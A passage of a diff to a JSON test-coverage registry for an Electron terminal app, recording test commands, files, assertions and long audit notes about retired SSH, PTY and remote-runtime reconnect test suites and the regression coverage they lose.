src/renderer/src/components/terminal/workspace-mounting/background-terminal-worktree-mount.test.ts --reporter=dot\",\n \"pnpm exec electron-vite build --mode e2e\",\n \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/pty-snapshot-capability-main-stall.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --repeat-each=3\"\n ]\ntestFiles: [\n \"src/renderer/src/components/terminal/workspace-mounting/background-terminal-worktree-mount.test.ts\",\n \"tests/e2e/pty-snapshot-capability-main-stall.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"tests/e2e/pty-snapshot-capability-main-stall.spec.ts\",\n \"assertions\": [\n \"a 1.5-second main stall leaves renderer interval gaps below 500ms\",\n \"capability calls return to renderer JavaScript within 100ms\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal/workspace-mounting/background-terminal-worktree-mount.test.ts --reporter=dot\",\"pnpm exec electron-vite build --mode e2e\"],\"testFiles\":[\"src/renderer/src/components/terminal/workspace-mounting/background-terminal-worktree-mount.test.ts\"],\"assertionRefs\":[]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\",\"linux\"],\"coveredProviders\":[\"daemon\",\"ssh\"],\"redGreenEvidence\":{\"status\":\"complete\",\"evidence\":\"The byte-identical Electron oracle failed with synchronous sendSync at a 1465.1ms renderer interval gap and 1464.2ms call-return duration, then passed three times with async invoke at no more than 71.6ms and 0.2ms respectively. The preload test also fails on the synchronous baseline.\"},\"flakeHistory\":{\"status\":\"unknown\",\"evidence\":\"The deterministic Electron oracle passed three consecutive local runs; CI soak history is not yet available.\"},\"runtimeBudget\":{\"p95Seconds\":30,\"scope\":\"focused Electron responsiveness and cold-restore journeys\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"Capability requests are deduplicated by PTY ID, sent in bounded 512-ID batches, cached after a definitive result, and retried only for unknown results. SSH now returns definitive false. One unresponsive batch fails open after one second without scanning further batches. No subprocesses or provider inventories are added.\"}}" ], "demotionRule": "Demote if capability discovery reintroduces synchronous renderer IPC, cold daemon tabs mount eagerly despite authoritative snapshots, SSH capability polls after a definitive response, or the renderer gap budget flakes without a product or harness bug." }, @@ -8811,8 +7766,8 @@ "platforms": ["macos", "linux", "windows"], "providers": ["ssh", "remote-runtime", "wsl"], "coveredPlatforms": ["linux"], - "coveredProviders": ["ssh", "remote-runtime"], - "coverageNotes": "Audit5914 retires the whole renderer suite selecting generation-joined hydration, failed full refresh strength and unknown-target authoritative membership re-read. These real narrow alarms are intentionally lost without equivalent replacement. Narrow the compound selector and remove its testFiles entry and direct assertionRef. Remaining selectors/assertions and complete dated evidenceRuns retain only their original scope; no fresh validation of the narrowed command or whole-gate replacement claim. Preserve complete historical narratives and existing knownGaps verbatim. Complete prior account retained verbatim: Audit5879 removes the entire terminal-create-idempotency suite and accepts losing its remaining bounded in-flight coordination/capacity release alarm. Remove its compound command token, testFile and complete historical assertionRef, which also listed three no-longer-current identity/retry claims. Remaining selectors are not equivalent replacement coverage. The unrelated parked-pane dated receipt remains unchanged in its original scope; no fresh whole-gate execution is claimed. Historical prior account preserved verbatim: Audit5790 companion to audit5787: Retire navigation history hydration: subsequent visit/history/back-state alarm intentionally lost. Narrow1 compound selector and remove1 testFiles. Complete dated evidenceRuns are unchanged; none selects these retired suites and none validates narrowed selectors. All unrelated remaining assertions and selectors retain their original scope, without replacement certification. No fresh execution or current import reachability result is claimed. Complete prior account preserved verbatim below as historical: Audit5779 companion to audit5775: Retire the complete PTY detach/attach handoff suite. Handler-complete durable reattach detachment, buffered state/lifetime preservation and late spawn retain-versus-kill alarms are intentionally lost without replacement. Remove one standalone command, one testFiles entry and its direct obsolete-reattach assertionRef. Complete dated evidenceRuns are unchanged; none selects these retired suites and none validates narrowed selectors. All unrelated remaining assertions and selectors retain their original scope, without replacement certification. No fresh execution or current import reachability result is claimed. Complete prior account preserved verbatim below as historical: Audit5748 companion to audit5744 retires the whole queued-pane-startup.test.ts suite. Its remaining captured-primary split ownership, one-shot repeated-spawn consumption, replacement-before-spawn refusal and permanently spent skipped-consumer alarms are intentionally lost without equivalent replacement. Remove its standalone unit selector or narrow the compound selector and remove its testFiles entry. Existing assertionRefs/evidenceRuns keep only their original scope and are unchanged; no fresh execution, current import reachability, PTY/provider/native/platform or replacement coverage is claimed. Complete prior account preserved verbatim: Audit5736 removes whole runtime/SSH IPC test suites from active selectors, accepting fake-window frame/contract/VM/upload cancellation and fake-transport SSH state/forward ownership alarms without equivalent replacement or fresh execution. Remaining dated evidence keeps its exact independent selector scope. Historical prior account (preserved verbatim): Audit5658 integrates source audit5652: retire the whole remote-runtime-pty-recovery-state.test.ts suite and its exact active selectors and assertionRef. Intentionally lose reentrant retry single dispatch; shared owner-refresh caller settlement and per-epoch allowance; deadline registry revival; parked same-epoch retry; actual deadline versus UI disconnected latch alarms without replacement. Remaining selectors retain only their own scope; no fresh execution, native/platform or remote evidence is claimed. Complete original selector fields are preserved in knownGaps. Historical prior account (preserved verbatim): Audit3554 intentionally removes the whole worktrees-ssh-repo-owner-resolution suite (2 authored cases). Dedicated duplicate-exact/ambiguous-legacy owner refusal and fixed runtime-host/wrong-target/missing-authority/zero-owner/contradictory-owner status alarms are lost. The suite did not exercise an authority transition or actual SSH listing; its no-local-Git spy was also unreachable on an admitted SSH metadata-only route. Remaining suites are not equivalent replacements. Current selectors have no fresh execution from this static packet; historical receipts retain their original scope. No new SSH/provider/native/UI/mobile/mixed-version/cross-platform result is claimed. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit3368 narrows stream-reconnect coverage to the actual ten synthetic transport epochs retaining one PTY identity, accepting and holding detached input for exactly-once later delivery, current decoded output and per-epoch subscription release. Prior rejection wording was inaccurate. Phase/backoff/cutoff/manual reconnect and parser/OSC/pause/retained-image/fatal/latch/claim/early-close alarms are intentionally lost without equivalent replacement. The Linux multi-pane reconnect receipt remains verbatim with its original scope; no fresh live SSH/provider/PTY/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit3359 retires whole host-surface-replacement and create-handoff suites, removing their compound unit command tokens, test-file entries and assertion references. Fake polling/deadline/subscription, supplied stale-handle ownership, close and replacement examples are intentionally lost without equivalent replacement. The unrelated Linux paired multi-pane reconnect receipt stays verbatim with its original scope. No fresh SSH/provider/network/PTY recovery, historical-import, mobile, mixed-version or cross-platform validation is claimed. Audit3342 retires the complete client create-outcome identity/options/recovery suite and the malformed-or-contradictory repo-owner response matrix. Client replay identity, options, no-downgrade, quiescence/budget/manual retry, authoritative probe-error and malformed-owner refusal alarms are intentionally lost without equivalent replacement. Remaining repo-owner late catalog and old-host re-adoption boundaries do not replace them. The unrelated Linux paired-reconnect receipt stays verbatim with its original scope. Surviving selectors are unexecuted here; no fresh SSH/provider/process-deduplication, mobile, mixed-version or cross-platform validation is claimed. Audit3329 execution amendment: the reduced one-suite reconnect selector passed on Linux (1 case). Original source-review statements about no fresh execution describe the earlier static review; this new receipt validates only this one local deterministic unit case, not the complete gate or physical/runtime/rendered/provider/platform parity. Historical seven-case macOS and two-case Linux receipts remain archived verbatim. Audit3326 adopts reconciled source audit3324 and intentionally retires these low-value examples and their regression alarms: keeps a sidebar row for every still-live pane after a long sleep — Whole suite: 279 lines manually replay renderer ownership registry/status writes, snapshot patch/set, six-pane fixture inventory, and sidebar selectors/builders; expected pane IDs are production-computed. Does not run sleep/wake/transport or actual sidebar entry. Retires reconnect row-preservation assembly alarm.; still retires the regular TUI surface after an explicit terminal exit — Ordinary explicit-exit callback/map cleanup is repeated in the stale/new stream lifecycle case below. Retires separate regular-TUI baseline; keeper is not equivalent process/UI proof.; asks the HUB to recover an expired SSH pane and rebinds the host identity — Expired SSH owner error must ask the owning HUB to recover, then adopt fixed replacement handle, resubscribe and report rebind; actual transport dispatch and handle state prevent wrong-client recovery.; does not recover a pane whose relay reply was an identity mismatch — Identity mismatch means a different live PTY, so actual transport must surface refusal without recover/create, keeping original identity. Prevents destructive duplicate agent recovery.; fails closed when an older HUB cannot recover an expired SSH pane — Old HUB method_not_found is scripted mock refusal/error echo with no actual skewed host; repeats generic recovery failure propagation. Retires old-host recovery fallback refusal example.; names a held recovery's stopped WSL distro in readable copy, not the raw hold code — Pins exact WSL stopped-distro error prose after mock code; translation/copy assertion with no actual held recovery behavior. Retires readable-copy alarm.. Retained tests do not replace these alarms. Dated unrelated evidence remains scoped to its original execution; no historical source/import-closure equivalence, fresh execution, real network/provider/SSH, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit 3318 reduces runtime-environment-ssh-state.test.ts, intentionally losing metadata membership-pruning/new-target-only-read and other-environment/local-bucket isolation alarms. Preserve generation/failed-full-refresh assertion and unknown-target authoritative-list reread; these narrower cases are not equivalent replacements. The unchanged active two-case Linux reconnect materialization/sidebar receipt and covered platform retain their exact scope and do not validate the reduced SSH state selector. Preserve unrelated SSH assertions, selectors and archived history. No fresh SSH discovery, provider/PTY/network, rendered, mobile, mixed-version, cross-platform or full-gate execution is claimed. Audit3315 execution amendment: the reduced two-suite reconnect selector passed on Linux (2 cases). Original source-review statements about no fresh execution describe the earlier static review; this new receipt validates only these two local deterministic unit cases, not the complete gate or physical/runtime/rendered/provider/platform parity. Historical seven-case macOS receipt remains archived verbatim. Audit 3312 retires the ordinary six-pane distinct-live-handle reconnect/resubscription alarm from paired-reconnect-multi-pane-materialization.test.ts. The unchanged parked-pane activation/rematerialization case remains narrower and is not an equivalent replacement. The complete prior seven-contract macOS receipt is archived as historical evidence; it does not validate the reduced selector. No fresh socket, PTY, sleep/wake, provider, platform, mobile, mixed-version or rendered execution is claimed. Audit3096: remove the deleted reconnect-banner selector and its two UI aliases. The reduced recovery-state selector retains only the deadline cancelling pending backoff and explicit retry owning a new epoch alias; healthy-replacement stale-schedule and independent caller-cutoff cancellation aliases retire. Other retained state cases cover reentrant retry, owner settlement and same-epoch parked revival, without replacing those removed alarms. Prior admission-selector retirement, archived July 28 receipt, unrelated selectors/claims/receipts and old gaps remain unchanged; no fresh execution is claimed. Audit3086: retire the destroyed fresh-session fallback settlement/non-destructive reattach alias and its direct selector; retain the detach/attach selector and assertion unchanged. The retained admission cases cover adopt-before-data and explicitly buffered-death admission without a new spawn, without replacing fallback retirement. July 28 evidence was already archived by audit3077; no duplicate retirement or new execution is claimed. Audit2709 removes src/renderer/src/runtime/web-session-tabs-sync/inventory/remote-runtime-session-tabs-inflight.test.ts: intentionally retire waiting out an older inventory and sharing a fresh post-operation request among concurrent callers. No equivalent replacement or fresh execution is claimed. Dated receipts remain historical evidence for their unchanged selectors only; they do not validate the reduced commands or full current gate. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/ssh/connection/ssh-connection-manager.test.ts: tears a failed startup down quietly, so its error is not replaced by a disconnect; marks a dial that never reached the host, so setup reports SSH’s reason; removes the registration when bulk teardown fails; leaves a connection whose own reconnect is asking the user alone; clears the pool entry when the closed connection is still the registered one; still reuses a connection that is already up; dials a user's connection test. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2052 (sources2049/2050/2051): Remove complete low-value restored-pane-title and pane-visibility-identity suites and their current selectors. Their supplied snapshot/title and nullable identity-comparison alarms are intentionally lost without replacement. Unrelated dated evidenceRuns remain unchanged and do not validate the reduced commands. No fresh gate execution, actual PTY/provider, rendered, remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Delete the terminal-create idempotency forwarding suite and its prospective selector. Preserve2 unrelated receipts without claiming the lost forwarding alarm was replaced. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Delete complete transport-unmount and queued-initial-CWD helper suites: despite lifecycle-shaped fixtures, the unmount owner returns a Boolean PTY-id predicate, while CWD cases check nullish field selection and callback counts. Lose their detach/destroy/teardown and one-shot-CWD supplied examples. Partial queued-pane-startup loses three identical/empty/nonowner identity examples, retaining four exact one-shot/replacement ownership callbacks. No assertion object maps to these three sources, so unrelated alias objects remain byte-exact. Preserve the current81ed prior removal of pane-split-startup; stale bd948 source metadata snapshots are not replayed. No actual process/PTY startup, transport shutdown, live SSH or rendered recovery is proven by this metadata change. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1925 (sources1922/1923): Delete the sole supplied public-SSH-state spread/sanitized-error projection and its provider-authority-pair alias. Also delete the complete tiny one-shot split-startup wrapper suite: callback-visible temporary field/reset, sequential payload and thrown-sentinel reset alarms disappear. No SSH provider epoch handoff, connection, process startup or actual terminal split was performed by either deleted suite. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1903 removes whole mocked detach, supplied geometry and/or close-request suites selected by this gate. Their pending-CWD/PTY-binding argument/order, fabricated hit-test and close bookkeeping alarms are intentionally lost without replacement. Valid remaining selectors/assertions and unchanged-selector execution receipts retain their original scope. Reduced unit selections have no fresh broad gate, real PTY/provider, rendered focus, or measured-budget validation. Historical prior account (preserved verbatim): Audit1645 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1342 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Audit1301 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Deterministic renderer coverage proves retained native and runtime SSH payloads are admitted through production routes only with valid complete authority, stale cleanup cannot unregister a replacement runtime terminal, direct SSH Git and folder panes keep their PTY bindings through disconnect and reconnect, one authority chain stops after two automatic attempts even when each timeout exceeds the rolling window, rejected acknowledgements mutate no store maps, and one shared exact attempt admits every concurrent split-pane spawn and reattach while preserving the first PTY as the tab fallback. A later sibling failure rotates the tab once, stale callbacks from the prior attempt mutate no state, split remount activity suppression is counted per leaf, primary PTY exit promotes a bound survivor or preserves an empty continuation gap for a late sibling, and primary, non-primary, or null-PTY detach preserves exact authority on both resulting tabs. Intentional pane disposal cancels its settlement timer without breaking StrictMode remount timeout ownership. A mounted remote-runtime terminal survives repeated transport partitions without changing PTY identity. A real encrypted-WebSocket oracle proves a successful reachability probe can replace a pre-ready shared-control socket without rejecting or duplicating the waiting RPC. Direct SSH coordinator tests cover immediate terminal finalization, hydration correction, damping, bounded retry, and telemetry non-interference. Client/server heartbeat tests cover timer suspension, socket generations fence stale callbacks, cold restored-terminal attachment retries, cached pixels remain unhealthy until authoritative replay, automatic retries stop after one minute, manual reconnect preserves the PTY, and pane closure releases recovery UI state. Current-transport recovery clears every error that transport surfaced without clearing or displaying a sibling pane's errors, while transport suppression, pane retention, and the rendered surface are independently bounded. Current macOS Electron journeys against an ephemeral Linux Docker SSH target cover exact-authority repo/worktree hydration, live terminal recovery after disconnect/reconnect, and eager six-terminal remount after renderer reload. A Windows remote-runtime smoke covers reachability and PTY round-trip. Multi-target live fanout, paired-close, WSL, and patched live partition journeys remain gaps. The test-value audit narrowed resolved-worktree-execution-host.test.ts to cache reuse and invalidation. Its direct hydrated-worktree, missing-folder, restored-owner, host-stamp and empty-runtime selection alarms are lost. Other routing and recovery suites do not establish equivalent selector coverage; historical run commands and results remain historical. The test-value audit removes standalone unwritten/released renderer-authority and cross-scope request-count examples. The retained synthetic mirror/store/sidebar and pending-inventory checks do not establish real PTY byte ownership, SSH reconnection or equivalent replacement coverage; historical commands and results remain historical. The test-value audit removes direct join/label ledgers, immediate failure and negative-only stale/removal/partial-authority examples, plus the standalone retained/live event projection. Retained synthetic store/hydration compositions do not establish real SSH continuity, remote authority delivery or equivalent replacement alarms. Historical commands and results remain historical. The renderer scheduling fixture retains in-flight coalescing only. Its immediate publication and negative stale-SSH-cleanup call ledgers were removed; the retained SSH recovery evidence does not replace those alarms. The accepted-handle-events observer suite is removed, including its scoped listener and settlement-release assertions. These observer alarms are lost; retained SSH/transport journeys are not equivalent replacement coverage. The test-value audit removed repeated remote-handle rotation inventories and snapshot-first pending-restart migration examples from terminal-pty-identity-replacement.test.ts, plus direct foreground metadata setter, confirmation, evidence-enum, and prefix/worktree cleanup examples. Those rotation, pending-restart, snapshot-first migration, and foreground scalar-update alarms are lost. The retained replacement case observes pane and tab identities in one subscriber publication; it does not establish equivalent migration, process-evidence, or input-routing coverage. Historical commands and results remain historical. The test-value audit narrows terminals-hydration.test.ts to a real reconnect batch with one measured store publication and hydration-seeded history consumed by a subsequent visit/Back check. Direct split-layout, runtime/folder/floating restoration, dead-leaf focus, cold/known-absent SSH deferral, title, default-tab marker, navigation initialization, and hydrationSucceeded scalar examples are removed; those specific alarms are lost. No actual target-removal transition, live SSH connection, session writer, or persisted restart is exercised by the retained cases. The old target-scoped/snapshot assertion references are retired because the current file does not contain those oracles. Other suites and historical runs do not establish equivalent replacement coverage. Audit1299 removes tests/e2e/terminal-cold-activation-deferral.spec.ts. Private-state/work-budget/assembled-fixture alarms are intentionally lost; retained suites are not equivalent replacement coverage. No new runtime/platform evidence is claimed. Audit1301: src/renderer/src/runtime/remote-runtime-session-tabs-inflight.test.ts reduced. Direct dedupe eviction/count and equal receipt-position sample loses authored alarm. No equivalent replacement coverage is claimed. Audit1318: src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts: Retain real local encrypted WebSocket regressions for pre-ready socket replacement preserving a request, close-before-ready logical subscription cleanup, unrelated RPC surviving another deadline, and pending setup abort leaving a sibling pending. Host server is synthetic and uses production crypto; kept scenarios also retain internal diagnostics/memory assertions unchanged. Remove happy routing, authority-envelope, unknown-ID/log, cleanup enum, binary, keepalive/liveness and production-budget/private socket inventories; intentionally lose those alarms, no physical host authorization, independent crypto or remote provider claim. Reduced selectors need fresh validation; historical full-suite receipts do not validate the changed coverage. No equivalent replacement or physical-provider claim. Audit1342: src/renderer/src/hooks/ipc-events/direct-ssh-connect-reply-routing.test.ts removed. Initial and event-triggered partial-authority hydration fixture alarms disappear. src/renderer/src/components/terminal-pane/terminal-error-accumulation.test.ts removed. Multiline dedup/storm bounds, resource classification/collision, scoped clear/reconnect strip and1000-pane map count alarms disappear. No equivalent replacement coverage is claimed. Audit1396: src/renderer/src/components/terminal-pane/pty-connection-pending-spawn.spec.ts reduced. Lose standalone debug-state retention/log silence alarm. React StrictMode is not mounted; bindings manually simulate remount over mocked transport. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1400: src/main/ipc/ssh/ssh.test.ts reduced. Lose trivial missing target and mocked publication inventory. Preexisting unresolved ../ssh/ssh-port-scanner mock is recorded, not fixed. src/renderer/src/runtime/sync-runtime-graph-scheduling.test.ts removed. Removes whole coalescing call-count suite; no newest-state delivery or replacement claim. src/renderer/src/store/slices/terminal-pty-identity-replacement.test.ts reduced. Removes three no-op/work-count registrations; retains externally observed ownership consistency. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1412: src/main/ssh/ssh-provider-authority.test.ts removed. Loses real AbortController revocation/target isolation/reentrancy outcomes, recreated-target generation-floor/session rollover behavior, stale mutation refusal and settled-registration cleanup alarms. These useful alarms are deliberately lost; no equivalent cancellation coverage is claimed. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1743 removes the standalone line-height clamp/default and pane cwd fallback helper tests (5 authored cases). These trivial-helper alarms are intentionally lost, with no equivalent replacement. Only current commands/testFiles lose the deleted selectors; historical receipts and evidenceRuns remain unchanged and do not validate the reduced commands. Audit5043 intentionally deletes the entire remote-runtime-client-error-classification suite (3 authored/9 finite cases): structured-code precedence over contradictory legacy text and7 unstructured-message compatibility alarms are lost. Whole retired-request-ID helper suite (3 cases) also removed outside this selector, losing direct TTL/non-refresh, eviction refresh and backward-clock expiry alarms. No equivalent replacement is claimed. Other selectors and dated evidence retain their original scope; no fresh execution, native/provider/mobile/mixed-version/cross-platform or full-gate result is claimed.", + "coveredProviders": [], + "coverageNotes": "Protection is limited to unchanged-selector receipts; remapped E2E journeys are unexecuted after E2E layout cleanup. Historical account: Audit5914 retires the whole renderer suite selecting generation-joined hydration, failed full refresh strength and unknown-target authoritative membership re-read. These real narrow alarms are intentionally lost without equivalent replacement. Narrow the compound selector and remove its testFiles entry and direct assertionRef. Remaining selectors/assertions and complete dated evidenceRuns retain only their original scope; no fresh validation of the narrowed command or whole-gate replacement claim. Preserve complete historical narratives and existing knownGaps verbatim. Complete prior account retained verbatim: Audit5879 removes the entire terminal-create-idempotency suite and accepts losing its remaining bounded in-flight coordination/capacity release alarm. Remove its compound command token, testFile and complete historical assertionRef, which also listed three no-longer-current identity/retry claims. Remaining selectors are not equivalent replacement coverage. The unrelated parked-pane dated receipt remains unchanged in its original scope; no fresh whole-gate execution is claimed. Historical prior account preserved verbatim: Audit5790 companion to audit5787: Retire navigation history hydration: subsequent visit/history/back-state alarm intentionally lost. Narrow1 compound selector and remove1 testFiles. Complete dated evidenceRuns are unchanged; none selects these retired suites and none validates narrowed selectors. All unrelated remaining assertions and selectors retain their original scope, without replacement certification. No fresh execution or current import reachability result is claimed. Complete prior account preserved verbatim below as historical: Audit5779 companion to audit5775: Retire the complete PTY detach/attach handoff suite. Handler-complete durable reattach detachment, buffered state/lifetime preservation and late spawn retain-versus-kill alarms are intentionally lost without replacement. Remove one standalone command, one testFiles entry and its direct obsolete-reattach assertionRef. Complete dated evidenceRuns are unchanged; none selects these retired suites and none validates narrowed selectors. All unrelated remaining assertions and selectors retain their original scope, without replacement certification. No fresh execution or current import reachability result is claimed. Complete prior account preserved verbatim below as historical: Audit5748 companion to audit5744 retires the whole queued-pane-startup.test.ts suite. Its remaining captured-primary split ownership, one-shot repeated-spawn consumption, replacement-before-spawn refusal and permanently spent skipped-consumer alarms are intentionally lost without equivalent replacement. Remove its standalone unit selector or narrow the compound selector and remove its testFiles entry. Existing assertionRefs/evidenceRuns keep only their original scope and are unchanged; no fresh execution, current import reachability, PTY/provider/native/platform or replacement coverage is claimed. Complete prior account preserved verbatim: Audit5736 removes whole runtime/SSH IPC test suites from active selectors, accepting fake-window frame/contract/VM/upload cancellation and fake-transport SSH state/forward ownership alarms without equivalent replacement or fresh execution. Remaining dated evidence keeps its exact independent selector scope. Historical prior account (preserved verbatim): Audit5658 integrates source audit5652: retire the whole remote-runtime-pty-recovery-state.test.ts suite and its exact active selectors and assertionRef. Intentionally lose reentrant retry single dispatch; shared owner-refresh caller settlement and per-epoch allowance; deadline registry revival; parked same-epoch retry; actual deadline versus UI disconnected latch alarms without replacement. Remaining selectors retain only their own scope; no fresh execution, native/platform or remote evidence is claimed. Complete original selector fields are preserved in knownGaps. Historical prior account (preserved verbatim): Audit3554 intentionally removes the whole worktrees-ssh-repo-owner-resolution suite (2 authored cases). Dedicated duplicate-exact/ambiguous-legacy owner refusal and fixed runtime-host/wrong-target/missing-authority/zero-owner/contradictory-owner status alarms are lost. The suite did not exercise an authority transition or actual SSH listing; its no-local-Git spy was also unreachable on an admitted SSH metadata-only route. Remaining suites are not equivalent replacements. Current selectors have no fresh execution from this static packet; historical receipts retain their original scope. No new SSH/provider/native/UI/mobile/mixed-version/cross-platform result is claimed. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit3368 narrows stream-reconnect coverage to the actual ten synthetic transport epochs retaining one PTY identity, accepting and holding detached input for exactly-once later delivery, current decoded output and per-epoch subscription release. Prior rejection wording was inaccurate. Phase/backoff/cutoff/manual reconnect and parser/OSC/pause/retained-image/fatal/latch/claim/early-close alarms are intentionally lost without equivalent replacement. The Linux multi-pane reconnect receipt remains verbatim with its original scope; no fresh live SSH/provider/PTY/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit3359 retires whole host-surface-replacement and create-handoff suites, removing their compound unit command tokens, test-file entries and assertion references. Fake polling/deadline/subscription, supplied stale-handle ownership, close and replacement examples are intentionally lost without equivalent replacement. The unrelated Linux paired multi-pane reconnect receipt stays verbatim with its original scope. No fresh SSH/provider/network/PTY recovery, historical-import, mobile, mixed-version or cross-platform validation is claimed. Audit3342 retires the complete client create-outcome identity/options/recovery suite and the malformed-or-contradictory repo-owner response matrix. Client replay identity, options, no-downgrade, quiescence/budget/manual retry, authoritative probe-error and malformed-owner refusal alarms are intentionally lost without equivalent replacement. Remaining repo-owner late catalog and old-host re-adoption boundaries do not replace them. The unrelated Linux paired-reconnect receipt stays verbatim with its original scope. Surviving selectors are unexecuted here; no fresh SSH/provider/process-deduplication, mobile, mixed-version or cross-platform validation is claimed. Audit3329 execution amendment: the reduced one-suite reconnect selector passed on Linux (1 case). Original source-review statements about no fresh execution describe the earlier static review; this new receipt validates only this one local deterministic unit case, not the complete gate or physical/runtime/rendered/provider/platform parity. Historical seven-case macOS and two-case Linux receipts remain archived verbatim. Audit3326 adopts reconciled source audit3324 and intentionally retires these low-value examples and their regression alarms: keeps a sidebar row for every still-live pane after a long sleep — Whole suite: 279 lines manually replay renderer ownership registry/status writes, snapshot patch/set, six-pane fixture inventory, and sidebar selectors/builders; expected pane IDs are production-computed. Does not run sleep/wake/transport or actual sidebar entry. Retires reconnect row-preservation assembly alarm.; still retires the regular TUI surface after an explicit terminal exit — Ordinary explicit-exit callback/map cleanup is repeated in the stale/new stream lifecycle case below. Retires separate regular-TUI baseline; keeper is not equivalent process/UI proof.; asks the HUB to recover an expired SSH pane and rebinds the host identity — Expired SSH owner error must ask the owning HUB to recover, then adopt fixed replacement handle, resubscribe and report rebind; actual transport dispatch and handle state prevent wrong-client recovery.; does not recover a pane whose relay reply was an identity mismatch — Identity mismatch means a different live PTY, so actual transport must surface refusal without recover/create, keeping original identity. Prevents destructive duplicate agent recovery.; fails closed when an older HUB cannot recover an expired SSH pane — Old HUB method_not_found is scripted mock refusal/error echo with no actual skewed host; repeats generic recovery failure propagation. Retires old-host recovery fallback refusal example.; names a held recovery's stopped WSL distro in readable copy, not the raw hold code — Pins exact WSL stopped-distro error prose after mock code; translation/copy assertion with no actual held recovery behavior. Retires readable-copy alarm.. Retained tests do not replace these alarms. Dated unrelated evidence remains scoped to its original execution; no historical source/import-closure equivalence, fresh execution, real network/provider/SSH, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit 3318 reduces 